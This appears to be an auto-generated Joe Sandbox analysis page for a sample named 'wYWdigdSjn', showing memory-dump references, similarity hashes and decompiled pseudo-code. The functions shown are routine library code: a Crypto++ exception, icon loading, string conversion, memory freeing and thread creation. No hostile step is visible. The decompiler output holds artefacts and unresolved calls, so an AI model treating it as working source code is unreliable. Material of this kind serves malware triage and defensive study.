Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: Exception@8H_prolog3H_prolog3_Throw
String ID: Cryptographic algorithms are disabled after a power-up self test failed.$Cryptographic algorithms are disabled before the power-up self tests are performed.
API String ID: 3648411918-3345525433
Opcode ID: d588dc01e26955a10a25919b6845f287e162f5676f625a7322a929c81a46828c
Instruction ID: d3b1d50ed847911c491488c5abecb7af7eaf0a242b3d41d90c1b783a787effca
Opcode Fuzzy Hash: d588dc01e26955a10a25919b6845f287e162f5676f625a7322a929c81a46828c
Instruction Fuzzy Hash: 44118E708002599EDF20EBA0DC42FEC7BA4AF11308F440494E901A71D2DBB09A89D760

Uniqueness

Uniqueness Score: -1.00%

Function 00B06167 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 29
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E00B06167(void* __ecx) {
				void* _t13;
				void* _t23;

				0xc81503(0x44);
				_t13 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t23 + 8)))) + 4))("OutputStringPointer", 0xd64050, __ecx + 0xc);
				if(_t13 == 0) {
					E00B01E2C(_t23 - 0x28, "StringSink: OutputStringPointer not specified");
					 *(_t23 - 4) =  *(_t23 - 4) & 0x00000000;
					E00B04197(_t23 - 0x50);
					_t13 = _t23 - 0x50;
					 *((intOrPtr*)(_t23 - 0x50)) = 0xcf2ca8;
					0xc8143b(_t13, 0xd48078, 1, _t23 - 0x28);
				}
				0xc814b2();
				return _t13;
			}

0x00b0616e
0x00b06188
0x00b0618d
0x00b06197
0x00b0619c
0x00b061a9
0x00b061b3
0x00b061b6
0x00b061be
0x00b061be
0x00b061c3
0x00b061c8

APIs

__EH_prolog3_GS.LIBCMT ref: 00B0616E

Part of subcall function 00B04197: __EH_prolog3.LIBCMT ref: 00B0419E

__CxxThrowException@8.LIBCMT ref: 00B061BE

Part of subcall function 00C8143B: RaiseException.KERNEL32(?,?,00CA8B64,?,?,?,?,?,?,?,00CA8B64,?,00D58AB8,?), ref: 00C81490

Strings

StringSink: OutputStringPointer not specified, xrefs: 00B0618F
OutputStringPointer, xrefs: 00B0617F

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: ExceptionException@8H_prolog3H_prolog3_RaiseThrow
String ID: OutputStringPointer$StringSink: OutputStringPointer not specified
API String ID: 1139647276-1331214609
Opcode ID: 24cf8fffd703f50a55aa1a9e065c8ad5fc8d6104719d29806208bf3435b5211f
Instruction ID: 504cbe77b840b294e29646f0eb84720ea24ce8a4c45d7c8dd1b234c7ec8c56a6
Opcode Fuzzy Hash: 24cf8fffd703f50a55aa1a9e065c8ad5fc8d6104719d29806208bf3435b5211f
Instruction Fuzzy Hash: D7F05EB0A40218AFDF04EB90C852FECBBB8AF14705F444554FA057B1C1DBB09A4ECBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00B98587 Relevance: 6.2, APIs: 4, Instructions: 191
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E00B98587(intOrPtr __ecx, signed short __edx, intOrPtr _a8) {
				void* _v0;
				signed int _v4;
				void* _v8;
				signed int _v12;
				void* _v16;
				WCHAR* _v20;
				struct HINSTANCE__* _v24;
				intOrPtr _v28;
				int _v32;
				char _v36;
				int _v40;
				int _v44;
				signed short _v50;
				void _v68;
				intOrPtr _v72;
				short _v74;
				signed int _v84;
				signed int _v88;
				void _v96;
				intOrPtr _t109;
				signed int _t120;
				void* _t124;
				intOrPtr* _t135;
				signed int _t154;
				intOrPtr _t156;
				intOrPtr _t159;
				intOrPtr* _t164;
				intOrPtr _t168;
				signed int _t169;
				signed short _t173;
				signed short _t179;
				void* _t183;
				intOrPtr* _t185;
				signed char* _t186;
				void* _t190;
				intOrPtr* _t191;
				intOrPtr* _t192;
				signed int _t194;
				int _t196;
				signed int _t203;
				long long _t214;

				_t179 = __edx;
				_t109 = 0xce0007;
				0xc814d0(0x38);
				_t156 = __ecx;
				if( *((intOrPtr*)(__ecx + 0x28)) != 0) {
					L14:
					0xc8149e();
					return _t109;
				} else {
					_t214 =  *((long long*)(__ecx + 0xb4));
					asm("fld1");
					asm("fucom st1");
					asm("fnstsw ax");
					st1 = _t214;
					if(4 != 0) {
						st0 = _t214;
					} else {
						_t154 =  *(__ecx + 0xac);
						 *((intOrPtr*)(__ecx + 8)) = 0;
						 *((long long*)(__ecx + 0xb4)) = _t214;
						if(_t154 != 0xffffffff) {
							 *(__ecx + 0xac) =  *(__ecx + 0xac) | 0xffffffff;
							 *(__ecx + 0xa8) = _t154;
						}
						_v44 = 0;
						_v40 = 0;
						_v36 = 0;
						_v32 = 0;
						asm("movsd");
						 *((intOrPtr*)(_t156 + 0x54)) =  *((intOrPtr*)(_t156 + 0x5c));
						_t109 =  *((intOrPtr*)(_t156 + 0x60));
						asm("movsd");
						 *((intOrPtr*)(_t156 + 0x58)) = _t109;
						 *((intOrPtr*)(_t156 + 0x5c)) = 0;
						 *((intOrPtr*)(_t156 + 0x60)) = 0;
						asm("movsd");
						 *((intOrPtr*)(_t156 + 0x64)) = 0;
						 *((intOrPtr*)(_t156 + 0x68)) = 0;
						asm("movsd");
						_v44 = 0;
						_v40 = 0;
						_v36 = 0;
						_v32 = 0;
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
					}
					_t190 = _t156 + 0x8c;
					if( *_t190 == 0) {
						L9:
						E00B995F6(_t156);
						if( *0xd6d78c != 0) {
							_push( *((intOrPtr*)(_t156 + 0x54)));
							_push(_t190);
							E00B98061();
						}
						_t191 = _t156 + 0x90;
						E00B70DEA(_t191);
						 *_t191 = 0;
						_t192 = _t156 + 0x94;
						E00B70DEA(_t192);
						 *_t192 = 0;
						if( *((intOrPtr*)(_t156 + 0x30)) != 0) {
							E00B9705D(_t156, _t179, _t214,  *((intOrPtr*)(_t156 + 0xc)));
						}
						_t109 =  *((intOrPtr*)(E00B80FF2() + 0x20));
						 *((intOrPtr*)(_t156 + 0xb0)) = _t109;
						goto L14;
					} else {
						if( *((intOrPtr*)(_t156 + 0x18)) == 0) {
							if( *((intOrPtr*)(_t156 + 0xc8)) == 0) {
								goto L14;
							} else {
								E00B70DEA(_t190);
								_t185 =  *((intOrPtr*)(_t156 + 0xc0));
								_t164 =  *((intOrPtr*)(_t156 + 0xdc));
								if(_t185 == 0) {
									goto L9;
								} else {
									while((0 | _t164 != 0x00000000) != 0) {
										_t179 =  *(_t185 + 8);
										_t185 =  *_t185;
										asm("sbb eax, eax");
										if(0 == _t179) {
											break;
										} else {
											_v32 = _v32 & 0x00000000;
											_v28 =  *_t164;
											_v24 =  *((intOrPtr*)(_t164 + 8));
											_v36 = 0xd053b8;
											_v4 = _v4 & 0x00000000;
											_v20 = _t179 & 0x0000ffff;
											if(E00B97919( &_v36, _t179, _t214, _t179 & 0x0000ffff,  *((intOrPtr*)(_t164 + 8))) == 0) {
												L21:
												_t196 = 0x2000;
												if( *((intOrPtr*)(_t156 + 0x34)) != 0 && E00B975DC(E00B80FF2()) == 0) {
													_t196 = 0x3000;
												}
												_t190 = LoadImageW(_v24, _v20, 0, 0, 0, _t196);
												_v16 = _t190;
											} else {
												_t190 = E00B7AA2D(_t156,  &_v36, _t179);
												_v16 = _t190;
												if(_t190 == 0) {
													goto L21;
												}
											}
											GetObjectW(_t190, 0x18,  &_v68);
											_t173 = _v50;
											 *(_t156 + 8) = _t173 & 0x0000ffff;
											if(_t173 < 0x20) {
												if(_t173 <= 8 ||  *((intOrPtr*)(_t156 + 0x34)) == 0) {
													if( *((intOrPtr*)(E00B80FF2() + 0x184)) != 0) {
														goto L30;
													}
												} else {
													L30:
													E00B97C66(_t156, _t179, _t214,  &_v16, 0, 0xffffffff, 0xffffffff);
													_t190 = _v16;
												}
											} else {
												_push( *((intOrPtr*)(_t156 + 0x3c)));
												_push(_t190);
												L34();
											}
											_push(0);
											_push(_t190);
											L00B94CAC(_t156, _t214);
											DeleteObject(_t190);
											_v4 = _v4 | 0xffffffff;
											_v36 = 0xd000f4;
											E00B7A062( &_v36);
											_t164 = _v28;
											if(_t185 != 0) {
												continue;
											} else {
												_t190 = _t156 + 0x8c;
												goto L9;
											}
										}
										goto L52;
									}
									E00B6BD09(_t164);
									asm("int3");
									_t120 =  *0xd62790; // 0x7014776
									_v12 = _t120 ^ _t203;
									if(GetObjectW(_v0, 0x54,  &_v96) != 0) {
										if(_v74 != 0x20) {
											goto L35;
										} else {
											_t168 = _v72;
											if(_t168 == 0) {
												goto L35;
											} else {
												_push(_t156);
												_push(_t190);
												_t194 = _v84 * _v88;
												if(_a8 == 0) {
													L46:
													if(_t194 > 0) {
														_push(_t185);
														_t89 = _t168 + 1; // 0x11
														_t186 = _t89;
														do {
															_t169 = _t186[2] & 0x000000ff;
															asm("cdq");
															_t186[1] = (_t186[1] & 0x000000ff) * _t169 / 0xff;
															asm("cdq");
															 *_t186 = ( *_t186 & 0x000000ff) * _t169 / 0xff;
															_t186 =  &(_t186[4]);
															asm("cdq");
															 *(_t186 - 5) = ( *(_t186 - 5) & 0x000000ff) * _t169 / 0xff;
															_t194 = _t194 - 1;
														} while (_t194 != 0);
													}
												} else {
													_t183 = 0;
													if(_t194 > 0) {
														_t85 = _t168 + 3; // 0x13
														_t135 = _t85;
														while(1) {
															_t159 =  *_t135;
															if( *((intOrPtr*)(_t135 - 1)) > _t159 ||  *((intOrPtr*)(_t135 - 2)) > _t159 ||  *((intOrPtr*)(_t135 - 3)) > _t159) {
																goto L46;
															}
															_t135 = _t135 + 4;
															_t183 = _t183 + 1;
															if(_t183 < _t194) {
																continue;
															} else {
															}
															goto L50;
														}
														goto L46;
													}
												}
												L50:
												_t124 = 1;
											}
										}
									} else {
										L35:
										_t124 = 0;
									}
									0xc8142c();
									return _t124;
								}
							}
						} else {
							E00B9768E(_t156, _t179, _t214,  *((intOrPtr*)(_t156 + 0x98)), 0);
							goto L9;
						}
					}
				}
				L52:
			}

0x00b98587
0x00b98589
0x00b9858e
0x00b98593
0x00b9859a
0x00b9868d
0x00b9868d
0x00b98692
0x00b985a0
0x00b985a0
0x00b985a6
0x00b985a8
0x00b985aa
0x00b985ac
0x00b985b1
0x00b9861a
0x00b985b3
0x00b985b3
0x00b985b9
0x00b985bc
0x00b985c5
0x00b985c7
0x00b985ce
0x00b985ce
0x00b985d4
0x00b985da
0x00b985e0
0x00b985e3
0x00b985e6
0x00b985ea
0x00b985ed
0x00b985f0
0x00b985f1
0x00b985f4
0x00b985f7
0x00b985fa
0x00b985fb
0x00b985fe
0x00b98601
0x00b98602
0x00b98608
0x00b9860e
0x00b98611
0x00b98614
0x00b98615
0x00b98616
0x00b98617
0x00b98617
0x00b9861c
0x00b98624
0x00b98639
0x00b9863b
0x00b98647
0x00b98649
0x00b9864c
0x00b9864d
0x00b9864d
0x00b98652
0x00b98659
0x00b98660
0x00b98662
0x00b98669
0x00b9866e
0x00b98673
0x00b9867a
0x00b9867a
0x00b98684
0x00b98687
0x00000000
0x00b98626
0x00b98629
0x00b98699
0x00000000
0x00b9869b
0x00b9869c
0x00b986a1
0x00b986a7
0x00b986af
0x00000000
0x00b986b1
0x00b986b1
0x00b986c0
0x00b986c5
0x00b986c9
0x00b986cd
0x00000000
0x00b986d3
0x00b986d8
0x00b986dc
0x00b986df
0x00b986e2
0x00b986e9
0x00b986f1
0x00b986ff
0x00b98712
0x00b98716
0x00b9871b
0x00b9872d
0x00b9872d
0x00b98744
0x00b98746
0x00b98701
0x00b98709
0x00b9870b
0x00b98710
0x00000000
0x00000000
0x00b98710
0x00b98750
0x00b98756
0x00b9875d
0x00b98764
0x00b98775
0x00b98789
0x00000000
0x00000000
0x00b9878b
0x00b9878b
0x00b98795
0x00b9879a
0x00b9879a
0x00b98766
0x00b98766
0x00b98769
0x00b9876a
0x00b9876a
0x00b9879d
0x00b9879f
0x00b987a2
0x00b987a8
0x00b987ae
0x00b987b5
0x00b987bc
0x00b987c1
0x00b987c6
0x00000000
0x00b987cc
0x00b987cc
0x00000000
0x00b987cc
0x00b987c6
0x00000000
0x00b986cd
0x00b987d7
0x00b987dc
0x00b987e3
0x00b987ea
0x00b987ff
0x00b9880d
0x00000000
0x00b9880f
0x00b9880f
0x00b98814
0x00000000
0x00b98816
0x00b98816
0x00b98817
0x00b9881b
0x00b98823
0x00b98849
0x00b9884b
0x00b9884d
0x00b9884e
0x00b9884e
0x00b98856
0x00b98856
0x00b98861
0x00b98864
0x00b9886d
0x00b98870
0x00b98872
0x00b9887c
0x00b9887f
0x00b98882
0x00b98882
0x00b98885
0x00b98825
0x00b98825
0x00b98829
0x00b9882b
0x00b9882b
0x00b9882e
0x00b9882e
0x00b98833
0x00000000
0x00000000
0x00b9883f
0x00b98842
0x00b98845
0x00000000
0x00000000
0x00b98847
0x00000000
0x00b98845
0x00000000
0x00b9882e
0x00b98829
0x00b98886
0x00b98889
0x00b9888a
0x00b98814
0x00b98801
0x00b98801
0x00b98801
0x00b98801
0x00b98890
0x00b98898
0x00b98898
0x00b986af
0x00b9862b
0x00b98634
0x00000000
0x00b98634
0x00b98629
0x00b98624
0x00000000

APIs

__EH_prolog3.LIBCMT ref: 00B9858E
LoadImageW.USER32(?,00000000,00000000,00000000,00000000,00002000), ref: 00B9873E
GetObjectW.GDI32(00000000,00000018,?), ref: 00B98750
DeleteObject.GDI32(00000000), ref: 00B987A8

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: Object$DeleteH_prolog3ImageLoad
String ID:
API String ID: 91933946-0
Opcode ID: c67dd4e85b5006b9edc22f0985e3966fc7c37399c1c142be520235b1027c2c16
Instruction ID: 22f5b8c0d10129fda50d55c3570dbe49d607b127948d8cb378dc5bcce2c38755
Opcode Fuzzy Hash: c67dd4e85b5006b9edc22f0985e3966fc7c37399c1c142be520235b1027c2c16
Instruction Fuzzy Hash: 7D715D719012159BCF15EFA4C880BAE7BF5EF0A310F2441B9ED19AB286CB359945CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00CA8ECB Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

APIs

__Getcvt.LIBCPMT ref: 00CA8F23
MultiByteToWideChar.KERNEL32(?,00000009,?,00000002,00000000,00000000), ref: 00CA8F71
MultiByteToWideChar.KERNEL32(?,00000009,?,00000001,00000000,00000000), ref: 00CA8FE7
MultiByteToWideChar.KERNEL32(?,00000009,?,00000001,00000000,00000000), ref: 00CA900F

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: ByteCharMultiWide$Getcvt
String ID:
API String ID: 3195005509-0
Opcode ID: 601313d0706ab6b22280da3e5d333dbf4ed1f0dc8867c95d0b0da5d171d22ed9
Instruction ID: 68d87c24f2106024a75c79902ca6790dbd4c602a32f0ff5a07072ab3a88137f9
Opcode Fuzzy Hash: 601313d0706ab6b22280da3e5d333dbf4ed1f0dc8867c95d0b0da5d171d22ed9
Instruction Fuzzy Hash: 9B41AF31A10347EFDB218FA5DC44B6ABBBAEF42318F148469F8619B190DB71ED58CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00C90DA9 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00C90DDF
__isleadbyte_l.LIBCMT ref: 00C90E0D
MultiByteToWideChar.KERNEL32(FFFDE8BD,00000009,?,CF413CBE,?,00000000,?,00000000,00000000,?,00B0E43D,?,\VlcpVideoV1.0.1), ref: 00C90E3B
MultiByteToWideChar.KERNEL32(FFFDE8BD,00000009,?,00000001,?,00000000,?,00000000,00000000,?,00B0E43D,?,\VlcpVideoV1.0.1), ref: 00C90E71

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 40584dc5f2615eb2c08b0da170b2ac57d8840c5e73eb0c9401e39bd197e2a332
Instruction ID: 5cc883ffdf3b31bbb46efabe3854fbbc0ccebf6d6f2a63c8029b186181337b3a
Opcode Fuzzy Hash: 40584dc5f2615eb2c08b0da170b2ac57d8840c5e73eb0c9401e39bd197e2a332
Instruction Fuzzy Hash: BE31E132600246AFDF229F75CC48BBA7BA5FF41350F254929F86497191E730E950DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00B95A8C Relevance: 6.1, APIs: 4, Instructions: 92
COMMON

Download Yara Rule

C-Code - Quality: 18%

			E00B95A8C(void* __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8, short _a12, intOrPtr _a16, intOrPtr _a20, signed char _a24) {
				signed int _v8;
				void* __ecx;
				void* __ebp;
				short _t30;
				intOrPtr _t32;
				char _t41;
				intOrPtr _t43;
				void* _t45;
				intOrPtr _t48;
				void* _t51;
				void* _t53;
				intOrPtr* _t56;
				signed int _t57;

				_t51 = __edx;
				_push(_t45);
				_v8 = _v8 & 0x00000000;
				_t53 = _t45;
				_t56 = E00B95087( &_v8, __eflags, 0x428);
				if(_t56 == 0) {
					L8:
					_t41 = 0;
					__eflags = 0;
					L9:
					_t57 = _v8;
					while(_t57 != 0) {
						_t57 =  *_t57;
						0xc813f4(_t57);
					}
					return _t41;
				}
				_t43 = 0x28;
				0xc83f30(_t56, 0, _t43);
				_t48 = _a16;
				 *_t56 = _t43;
				 *((intOrPtr*)(_t56 + 4)) = _a4;
				_t41 = 1;
				 *((intOrPtr*)(_t56 + 8)) = _a8;
				_t30 = _a12;
				 *((short*)(_t56 + 0xc)) = 1;
				 *((short*)(_t56 + 0xe)) = _t30;
				 *((intOrPtr*)(_t56 + 0x10)) = _t48;
				if(_t30 > 8) {
					__eflags = _t48 - 3;
					if(_t48 == 3) {
						_t15 = _t56 + 0x28; // 0x28
						0xc843cc(_t15, 0xc, _a20, 0xc);
						E00B056F3(_t48, _t15);
					}
				} else {
					_t13 = _t56 + 0x28; // 0x28
					0xc83f30(_t13, 0, 0x400);
				}
				_t16 = _t53 + 8; // 0x8
				_t32 =  *0xcee0fc(0, _t56, 0, _t16, 0, 0);
				if(_t32 == 0) {
					goto L8;
				} else {
					 *((intOrPtr*)(_t53 + 4)) = _t32;
					E00B99532(_t53, _t51, (0 | _a8 >= 0x00000000) + 1);
					if((_a24 & 0x00000001) != 0) {
						 *((char*)(_t53 + 0x1d)) = _t41;
					}
					goto L9;
				}
			}

0x00b95a8c
0x00b95a8f
0x00b95a90
0x00b95a97
0x00b95aa6
0x00b95aaa
0x00b95b4d
0x00b95b4d
0x00b95b4d
0x00b95b4f
0x00b95b4f
0x00b95b5d
0x00b95b55
0x00b95b57
0x00b95b5c
0x00b95b69
0x00b95b69
0x00b95ab2
0x00b95ab7
0x00b95ac2
0x00b95ac5
0x00b95ac9
0x00b95acc
0x00b95ad0
0x00b95ad3
0x00b95ad6
0x00b95ada
0x00b95ade
0x00b95ae4
0x00b95afb
0x00b95afe
0x00b95b05
0x00b95b0b
0x00b95b11
0x00b95b16
0x00b95ae6
0x00b95aeb
0x00b95af1
0x00b95af6
0x00b95b1b
0x00b95b24
0x00b95b2c
0x00000000
0x00b95b2e
0x00b95b2e
0x00b95b3d
0x00b95b46
0x00b95b48
0x00b95b48
0x00000000
0x00b95b46

APIs

Part of subcall function 00B95087: _malloc.LIBCMT ref: 00B95098

_memset.LIBCMT ref: 00B95AB7
_memset.LIBCMT ref: 00B95AF1
_memcpy_s.LIBCMT ref: 00B95B0B
_free.LIBCMT ref: 00B95B57

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: _memset$_free_malloc_memcpy_s
String ID:
API String ID: 1486211779-0
Opcode ID: 0c7d58c8e9ec337988736d5b8cdec8cfafc8374755f41d7de3609192c544cc7a
Instruction ID: 69403189a6b2a70f9bea048cfa833d426a83b9f4f9e2bb4b5c7084ed08ef9584
Opcode Fuzzy Hash: 0c7d58c8e9ec337988736d5b8cdec8cfafc8374755f41d7de3609192c544cc7a
Instruction Fuzzy Hash: 0121C171950A09ABDB31AF65CC82F9BB7E8EF04314F00857EF946D7640E670E9048BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00CB6F69 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00CB6F70
std::_Cnd_waitX.LIBCPMT ref: 00CB6F90

Part of subcall function 00CB1764: __Mtx_init.LIBCPMT ref: 00CB176E

std::_Cnd_initX.LIBCPMT ref: 00CB6FC9
std::_Cnd_initX.LIBCPMT ref: 00CB6FF1

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: std::_$Cnd_init$Cnd_waitH_prolog3Mtx_init
String ID:
API String ID: 2294004850-0
Opcode ID: ac138e1335f22292031cf3c6bb9ca44519da0b78c99e900237a2e6360a15de39
Instruction ID: de140f7f689b5dd232896312f58d89e97d66797a656a59f23e40cadf4778515f
Opcode Fuzzy Hash: ac138e1335f22292031cf3c6bb9ca44519da0b78c99e900237a2e6360a15de39
Instruction Fuzzy Hash: AE01A770A00310ABCB20EF79AC827693394AB04B14F944029FD58E7396EB35CF41AB54

Uniqueness

Uniqueness Score: -1.00%

Function 00CC7D58 Relevance: 6.0, APIs: 4, Instructions: 44threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 00CC7D7E
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCMT ref: 00CC7D9A
__CxxThrowException@8.LIBCMT ref: 00CC7DA8
CreateThread.KERNEL32(00D5A47C,?,?,?,?,?), ref: 00CC7DC3

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorCreateErrorException@8LastThreadThrow
String ID:
API String ID: 4022716757-0
Opcode ID: c37da0b661c668c355c9b11d48164ad5c6b230421ab55189f8f2a8ee1a98e530
Instruction ID: a3cd1166c2928a64fb1322ce35798810911b39c3c078b66840500d6ba4013c8d
Opcode Fuzzy Hash: c37da0b661c668c355c9b11d48164ad5c6b230421ab55189f8f2a8ee1a98e530
Instruction Fuzzy Hash: 31F0F4311042097BEF10AFE1DC02FBA3B68EF04300F004514FE1885091EA32C5209BA1

Uniqueness

Uniqueness Score: -1.00%

Function 00B70DEA Relevance: 6.0, APIs: 4, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E00B70DEA(void** _a4) {
				void* _v4;
				void* __ebp;
				void* _t3;
				void* _t4;
				int _t8;
				void* _t9;
				signed int _t12;
				void** _t14;
				void* _t15;

				_t14 = _a4;
				if(_t14 == 0) {
					_t4 = E00B6BD09(_t9);
					asm("int3");
					_push(_t14);
					_t15 = _v4;
					if(_t15 != 0) {
						_t12 = GlobalFlags(_t15) & 0x000000ff;
						if(_t12 == 0) {
							L7:
							return GlobalFree(_t15);
						} else {
							goto L6;
						}
						do {
							L6:
							GlobalUnWire(_t15);
							_t12 = _t12 - 1;
						} while (_t12 != 0);
						goto L7;
					}
					return _t4;
				} else {
					if( *_t14 != 0) {
						_t8 = DeleteObject( *_t14);
						 *_t14 =  *_t14 & 0x00000000;
						return _t8;
					}
					return _t3;
				}
			}

0x00b70dee
0x00b70df3
0x00b70e0a
0x00b70e0f
0x00b70e13
0x00b70e14
0x00b70e19
0x00b70e25
0x00b70e2b
